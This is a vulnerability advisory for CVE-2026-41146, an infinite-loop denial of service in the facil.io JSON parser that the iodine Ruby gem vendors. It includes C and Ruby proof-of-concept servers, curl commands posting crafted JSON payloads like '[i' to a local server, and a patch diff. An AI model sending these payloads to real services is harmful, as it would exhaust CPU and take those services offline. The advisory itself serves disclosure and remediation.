PT-2026-35094 · Rubygems · Iodine

Publicado 2026-04-14 · Atualizado 2026-04-14

OSV

CVSS v4.0

8.7

Alta

Vetor base

AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

fio json parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio json parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

• facil.io: lib/facil/fiobj/fiobj json.c:377-387 (fiobj json2obj) and 402-411 (fiobj hash update json)
• iodine: ext/iodine/iodine json.c:161-177 (iodine json convert)
• iodine: ext/iodine/fiobj json.c:377-387 and 402-411

Relevant flow:

1. Inside an array or object, the parser sees i or I and jumps to the numeral: label.
2. It calls fio atol((char **)&tmp).
3. For a bare i / I, fio atol consumes zero characters and leaves tmp == pos.
4. The current code only falls back to float parsing when JSON NUMERAL[*tmp] is true.
5. JSON NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
6. Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio json parser.h lines 434-468.

Why the [""i form hangs:

1. The parser accepts the empty string "" as the first array element.
2. It does not require a comma before the next token.
3. The trailing i is then parsed as a new nested value.
4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

• Array form, minimal: [i
• Object form: {"a":i
• After a quoted value in an array: [""i
• After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

• facil.io commit: 162df84001d66789efa883eebb0567426d00148e
• iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
• standalone compile against fio json parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http parse body(h), which reaches fiobj json2obj and then fio json parse for Content-Type: application/json.

#define POSIX C SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on request(http s *h) {
 fprintf(stderr, "calling http parse body
");
 fflush(stderr);
 http parse body(h);
 fprintf(stderr, "returned from http parse body
");
 http send body(h, "ok
", 3);
}

int main(void) {
 if (http listen("3000", "127.0.0.1",
         .on request = on request,
         .max body size = (1024 * 1024),
         .log = 1) == -1) {
  perror("http listen");
  return 1;
 }
 fio start(.threads = 1, .workers = 1);
 return 0;
}

http parse body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http json poc

Run:

./tmp/http json poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

• The server prints calling http parse body and never reaches returned from http parse body.
• The request never completes.
• One worker thread spins until the process is killed.

Downstream impact in iodine

iodine vendors the same parser implementation in ext/iodine/fio json parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
 body = env["rack.input"].read.to s
 warn "calling Iodine::JSON.parse on: #{body.inspect}"
 Iodine::JSON.parse(body)
 warn "returned from Iodine::JSON.parse"
 [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
"]]
end

Iodine.listen service: :http,
       address: "127.0.0.1",
       port: "3000",
       handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine json parse http poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

• Availability impact: high for affected parser entry points
• Confidentiality impact: none observed
• Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio json parser.h b/lib/facil/fiobj/fio json parser.h
@@
    uint8 t *tmp = pos;
    long long i = fio atol((char **)&tmp);
    if (tmp > limit)
     goto stop;
-   if (!tmp || JSON NUMERAL[*tmp]) {
+   if (!tmp || tmp == pos || JSON NUMERAL[*tmp]) {
     tmp = pos;
     double f = fio atof((char **)&tmp);
     if (tmp > limit)
      goto stop;
-    if (!tmp || JSON NUMERAL[*tmp])
+    if (!tmp || tmp == pos || JSON NUMERAL[*tmp])
      goto error;
     fio json on float(parser, f);
     pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

• ext/iodine/fio json parser.h

Impact

• facil.io
• Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
• Verified on tagged releases 0.7.5 and 0.7.6
• iodine Ruby gem
• Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
• Verified on tag / gem version v0.7.58
• The gem vendors a copy of the vulnerable parser in ext/iodine/fio json parser.h

Exploit

Correção

Infinite Loop

Resource Exhaustion

Enumeração de Fraquezas

CWE-835

CWE-400

Identificadores relacionados

GHSA-2X79-GWQ3-VXXM

Produtos afetados

Iodine

Referências · 6

• 🔥 https://github.com/rubysec/ruby-advisory-db/blob/master/gems/iodine/CVE-2026-41146.yml · Exploit
• https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0 · Nota
• https://github.com/boazsegev/facil.io · Nota
• https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm · Nota
• https://nvd.nist.gov/vuln/detail/CVE-2026-41146 · Nota de Segurança
• https://osv.dev/vulnerability/GHSA-2x79-gwq3-vxxm · Aviso do Fabricante